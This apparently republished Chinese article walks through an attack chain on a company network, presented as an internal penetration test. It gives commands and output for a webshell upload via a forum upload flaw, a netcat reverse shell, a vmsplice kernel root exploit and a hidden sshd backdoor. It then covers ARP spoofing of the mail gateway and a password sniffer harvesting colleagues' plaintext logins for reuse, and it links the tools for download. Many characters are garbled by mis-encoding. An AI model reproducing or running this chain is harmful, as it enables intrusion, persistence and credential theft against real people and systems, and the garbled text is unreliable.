一次Linux下ARP欺騙嗅探公司郵箱密碼的內(nèi)部滲透測試
發(fā)表時間:2023-07-11 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]早就跟相關(guān)人員說過郵箱認(rèn)證smtp和pop協(xié)議要做加密, 否則在公司內(nèi)網(wǎng), 太容易被人sniffer到明文密碼了, 另外郵箱密碼和bbs公用, bbs也是采用的http協(xié)議, 沒有用https, 這...
早就跟相關(guān)人員說過郵箱認(rèn)證smtp和pop協(xié)議要做加密, 否則在公司內(nèi)網(wǎng), 太容易被人sniffer到明文密碼了, 另外郵箱密碼和bbs公用, bbs也是采用的http協(xié)議, 沒有用https, 這些都是問題。 雖然我們控制的網(wǎng)絡(luò)部分已經(jīng)做過處理了, ip和mac地址做了綁定, 即使有人做arp欺騙后, 除非不出網(wǎng)關(guān), 否則欺騙后網(wǎng)絡(luò)到達(dá)不了網(wǎng)關(guān)之外, 因此嗅探明文郵箱密碼已經(jīng)不可能(由于郵箱服務(wù)器不在同一網(wǎng)段)。 但是對于我們一些共用資源的服務(wù)器有公網(wǎng)ip和內(nèi)網(wǎng)ip且處于一個相對風(fēng)險較高, 而且沒有根據(jù)安全級別進(jìn)行過相應(yīng)的安全策略的網(wǎng)絡(luò)環(huán)境內(nèi), 因此一些問題是顯而易見的, 但是某些人根本不以為然。 所以我進(jìn)行了一次簡單的內(nèi)部滲透測試。
首先我從有公網(wǎng)ip和內(nèi)網(wǎng)ip的網(wǎng)絡(luò)段入手, 如公網(wǎng)ip段是222.222.222.0/255.255.255.255, 內(nèi)網(wǎng)ip段192.168.0.0/255.255.255.0。
經(jīng)過踩點發(fā)現(xiàn)222.222.222.77(192.168.0.77)上跑了一個老版本的某php的論壇。 經(jīng)過檢測, 存在上傳漏洞, 利用gif89a文件頭欺騙漏洞上傳webshell。 然后上傳個nst。
如圖1:
WindowsLiveWriter/LinuxARP_B4C8/1.jpg" target=_blank>
利用tools里面的反彈連接:
首先在本地用nc -l -p 5546監(jiān)聽端口
如圖4:
WindowsLiveWriter/LinuxARP_B4C8/4.jpg" target=_blank>
然后在nst上點Back connect
如圖2:(注意紅色部分)
WindowsLiveWriter/LinuxARP_B4C8/2.jpg" target=_blank>
成功登陸
如圖3:
WindowsLiveWriter/LinuxARP_B4C8/3.jpg" target=_blank>
圖5:
WindowsLiveWriter/LinuxARP_B4C8/5.jpg" target=_blank>
在本地nc的窗口操作:
id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
權(quán)限低了點, 可以利用前一段時間linux內(nèi)核vmsplice本地提升權(quán)限漏洞。 先用nst上傳代碼:
如圖6:(注意紅色部分, 上傳成功)
WindowsLiveWriter/LinuxARP_B4C8/6.jpg" target=_blank>
回到nc窗口:
cp in.c /tmp
cd /tmp
ls
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0
gcc -o in in.c
ls
in
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0
/tmp/in
bash: no job control in this shell
[root@bbs111 tmp]# id
uid=0(root) gid=0(root) groups=99(nobody)
[root@bbs111 tmp]#
已經(jīng)是root權(quán)限了, 下一步上傳俺修改過的常用的后門, 這個以前寫過 一篇文章介紹如何留后門的, 這里就不敘述了(替換sshd和部分命令, 可隱藏端口、連接、文件、進(jìn)程等)。
擦擦pp, 進(jìn)行下一步我們的重點。
我們還是直接用后門sshd登錄。 還是ssh舒服點:)
如圖7:
WindowsLiveWriter/LinuxARP_B4C8/7.jpg" target=_blank>
在SecureCRT下利用rz命令上傳我們用到的arpsniffer.c, 然后編譯:
[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
報錯, 可能是沒裝libnet的緣故, 看說明Make: first you must install "pcap" and "libnet" 確定arpsniffer.c需要先裝pcap和 libnet。
[root@bbs111 root]# rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
[root@bbs111 root]# wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
[root@bbs111 root]# tar zxvf libpcap-0.8.1.tar.gz
[root@bbs111 root]# cd libpcap-0.8.1
[root@bbs111 libpcap-0.8.1]# ./configure
[root@bbs111 libpcap-0.8.1]# make
[root@bbs111 libpcap-0.8.1]# make install
準(zhǔn)備工作已經(jīng)ok。 下面重新編譯arpsniffer.c
[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
這次沒報錯, 編譯成功。
[root@bbs111 root]# ./arpsniffer
====================================
============Arp Sniffer=============
==========Write by Paris-Ye=========
===Usage: ./arpsniffer -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
===For example:
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254
下面開始欺騙, 由于是服務(wù)器端, 因此我們欺騙網(wǎng)關(guān):(網(wǎng)絡(luò)環(huán)境如下, 郵件服務(wù)器ip:192.168.0.11 網(wǎng)關(guān):192.168.0.1 本機:192.168.0.77)
[root@bbs111 root]# ./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
110
110
Get network cards mac address:
M-> 00:0e:a6:a5:80:4f
W-> 00:0f:e2:23:05:d0
S-> 00:d0:b7:88:07:59
Now Start... .. .
在另一個登錄里面用tcpdump監(jiān)聽下:
[root@bbs111 root]# tcpdump -i eth0 host 192.168.0.11
發(fā)現(xiàn)有數(shù)據(jù), 把監(jiān)聽的數(shù)據(jù)存在文件里面:
[root@bbs111 root]# tcpdump -i eth0 host 172.16.0.12 -w pop.txt
10分鐘后停止, 在SecureCRT下用sz命令下載pop.txt到本地, 然后用Ethereal分析。 果然發(fā)現(xiàn)明文用戶名和密碼。
下面我們就可以用linsniffer監(jiān)聽我們想要的用戶名和密碼了。
先修改linsniffer.c:根據(jù)自己的需求監(jiān)聽相應(yīng)的應(yīng)用密碼。 我的如下:
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==80) p=1; /* http */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
[root@bbs111 root]# gcc -o linsniffer linsniffer.c
In file included from /usr/include/linux/tcp.h:21,
from linsniffer.c:32:
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include <endian.h> instead!
不用管警告, 直接運行編譯后的linsniffer即可。
[root@bbs111 root]# ./linsniffer
用戶名和密碼都自動存到了tcp.log下。 如圖8:
WindowsLiveWriter/LinuxARP_B4C8/8_1.jpg" target=_blank>
經(jīng)過測試后, 我們把某人的用戶名和密碼發(fā)給某人, 相信他再不會想當(dāng)然的說sniffer不可能了。 下面我們利用我們嗅探到的密碼做個密碼表, 進(jìn)行新一輪進(jìn)一步的內(nèi)網(wǎng)滲透測試。 相信在我們根據(jù)滲透測試結(jié)果, 進(jìn)行相關(guān)安全技術(shù)改造和安全管理規(guī)范制度改造后, 我們的網(wǎng)絡(luò)的安全性會大大提升。
文中所用工具下載:WindowsLiveWriter/LinuxARP_B4C8/tools.rar">ARP sniffer Tools.rar
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費電腦中毒的煩擾。